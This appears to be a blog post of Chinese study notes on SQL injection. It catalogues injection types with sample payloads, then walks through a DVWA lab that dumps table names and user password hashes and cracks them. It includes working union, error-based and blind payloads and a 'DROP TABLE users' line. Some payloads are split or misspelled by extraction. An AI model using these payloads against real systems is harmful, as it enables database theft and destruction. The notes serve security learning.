0527漏洞原理:SQL注入笔记 SQL注入类型(联合查询注入、报错注入实操)
理论知识
1. 按数据类型划分
(1) 数字型注入
- 特点:参数为数字,无需引号闭合。
- 判断方法:
- 输入
id=1'
,若报错则可能是字符型,否则可能是数字型。
- 输入
(2) 字符型注入
- 特点:参数为字符串,需闭合引号(单引号
'
或双引号"
)。 - 示例:
http://example.com/login.php?username=admin
- 攻击方式:
http://example.com/login.php?username=admin' AND '1'='1
- 判断方法:
- 输入
username=admin'
,若报错则存在字符型注入。 - 进一步测试闭合方式:
admin' AND '1'='1
(单引号闭合)、admin" AND "1"="1
(双引号闭合)。
- 输入
2. 按执行效果划分
(1) 联合查询注入(Union-Based)
- 适用场景:页面有回显,且支持
UNION
查询。 - 攻击步骤:
- 判断列数:
ORDER BY 4
(直到报错)。 - 找显示位:
UNION SELECT 1,2,3,4
(查看哪些数字显示在页面上)。 - 爆数据:
UNION SELECT 1,database(),3,4
- 获取表名、列名、数据:
UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()
- 判断列数:
(2) 报错注入(Error-Based)
- 适用场景:页面返回数据库错误信息(如MySQL错误)。
- 常用函数:
updatexml()
extractvalue()
floor(rand()*2)
(利用主键冲突报错)
- 示例:
AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
- 攻击步骤:
- 利用报错函数获取数据库名、表名、列名。
- 逐步提取数据。
(3) 布尔盲注(Boolean-Based)
- 适用场景:页面无回显,但能通过
True/False
状态(如登录成功/失败)判断。 - 攻击方式:
AND substr(database(),1,1)='a' --+
- 步骤:
- 猜解数据库名长度:
AND length(database())=8
。 - 逐字符猜解:
AND substr(database(),1,1)='a'
。 - 依次获取表名、列名、数据。
- 猜解数据库名长度:
(4) 时间盲注(Time-Based)
- 适用场景:页面无任何回显,只能通过延时判断。
- 攻击方式:
AND IF(1=1,SLEEP(5),0) --+
- 步骤:
- 判断注入点:
AND IF(1=1,SLEEP(5),0)
(若延迟5秒则存在注入)。 - 逐字符猜解:
AND IF(substr(database(),1,1)='a',SLEEP(5),0)
。
- 判断注入点:
(5) 堆叠查询(Stacked Queries)
- 适用场景:数据库支持多语句执行(如MySQL的
mysqli_multi_query
)。 - 攻击方式:
; DROP TABLE users; --
- 危害:可执行任意SQL语句,如增删改查、读写文件等。
3. 按数据提交方式划分
(1) GET注入
- 特点:参数通过URL传递(
?id=1
)。 - 示例:
http://example.com/news.php?id=1 AND 1=1 --+
(2) POST注入
- 特点:参数通过表单提交(如登录框)。
- 示例:
username=admin'-- &password=123456
(3) HTTP头注入
- 特点:注入点在HTTP头部(如
User-Agent
、Cookie
、Referer
)。 - 示例:
User-Agent: Mozilla/5.0' OR 1=1 --+
4. 特殊类型
(1) 宽字节注入
- 适用场景:数据库使用GBK等宽字符编码,可绕过转义(如
%df'
吃掉转义符\
)。 - 示例:
%df%27 → 单引号(')被转义为 `\'`,但 `%df` 会吃掉 `\`,使 `'` 逃逸。
(2) 二次注入
- 特点:恶意数据先存入数据库,后续查询时触发SQL注入。
- 示例:
- 注册用户名为
admin'--
。 - 修改密码时触发:
UPDATE users SET password='123' WHERE username='admin'--'
- 注册用户名为
相关操作
联合查询注入
进入 DVWA 页面后,点击 “Create/Reset Database” 按钮,创建数据库。 在登录页面输入默认的用户名 “admin” 和密码 “password”。 点击 “Login” 按钮,即可登录到 DVWA 系统。 | ![]() ![]() ![]() |
添加’报错 存在SQL注入漏洞 再添加’ 说明是字符型 添加注释--+ 正常返回 字符没有括号的闭合 GET /vulnerabilities/sqli/?id=1''--+&Submit=Submit HTTP/1.1 | |
?id=1'+order+by+1--+&Submit=Submit | ![]() |
id=-1'+union+select+1,2--+&Submit | ![]() |
?id=-1'+union+select+database(),2--+ | ![]() |
?id=-1'+union+select+database(), group_concat(table_name) +from+information_schema.tables+ where+table_schema='dvwa'--+ | ![]() |
-1'+union+select+database(),group_ concat(column_name)+from+information_ schema.columns+where+table_schema= 'dvwa'+and+table_name='users'--+ | ![]() |
-1'+union+select+database(), group_concat(user,":",password) +from+users--+&Submit=Submit | |
Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder md5解密得到密码 | ![]() |
后续利用之前学到的《信息收集》找到它的后台,用获取到的账号密码登录 | 0526漏洞原理:漏洞验证-信息收集笔记(BurpSuite Professional,fofa,BUUCTF)-CSDN博客 |
报错注入
添加单引号 出现详细的报错语法 | ![]() |
需要火狐浏览器扩展 | ![]() |
Load UPL | ![]() |
id=1'--+%27&Submit =Submit# 同样的,说明没有括号 | ![]() |
id=1'and updatexml (1,concat(1,(select database())),1)--+ 以报错的形式返回查询结果 | ![]() |
id=1'and updatexml(1, concat(1,(select table_name from information_schema.t ables where table_schema='dvwa')),1)- -+%2 查询结果超过一行 | ![]() |
id=1'and updatexml (1,concat(1,(select group_concat(table_name) from | ![]() |
id=1'and updatexml(1,concat(1, (select group_concat(column_ name) from information_schema.columns where table_schema='dvwa' and table_name='users')),1)--+%27&Submit=Submit# 报错函数最多只能输出32个字符 | ![]() |
id=1'and updatexml(1,concat (1,(select column_name from information_schema. columns where table_ schema='dvwa' and table_ name='users' limit 1,1)),1)--+&Submit=Submit# | ![]() ![]() |
试比较麻烦,使用Intruder | |
id=1'and updatexml(1,concat( 1,(select user from users limit 1,1)),1)--+&Submit=Submit# (1,concat(1,(select%20password%20from% 20users%20limit%20§1§,1)),1 | |
md5解密密码 | ![]() |
布尔盲注
带入单引号不存,存在SQL注入 | ![]() |
1‘’%两个单引号,说明是字符型 | ![]() |
id=1‘--+%说明没有括号 | ![]() |
sqli_blind/?id=1’ and substr((select database ()),1,1)='b'--+%E2%80%98%E2%80% 99&Submit=Submit# | ![]() |
爆破库名 sqli_blind/?id=1' and substr((select database()),1,1)='d'--+&Submit=Submit# 得到dvwa | |
1%27%20and%20substr(( select%20group_concat(table_name)% 20from%20information_schema.tables% 20where%20table_schema=%27dvwa% 27),1,1)=%27d%27--+& | ![]() |
id=1%27%20and%20su bstr((s elect%20group_concat( column _name)%20from%20infor mation_ schema.columns%20where %20tab le_schema=%27dvwa%27+a nd+tab le_name='users'),§1§,1 )=%27§d§%27--+ | |
id=1%27%20and%20substr((select %20passwoed%20from%20users+limit +0,1),§1§,1)=%27§b§%27--+&Submit=Submit HTTP/1.1 | |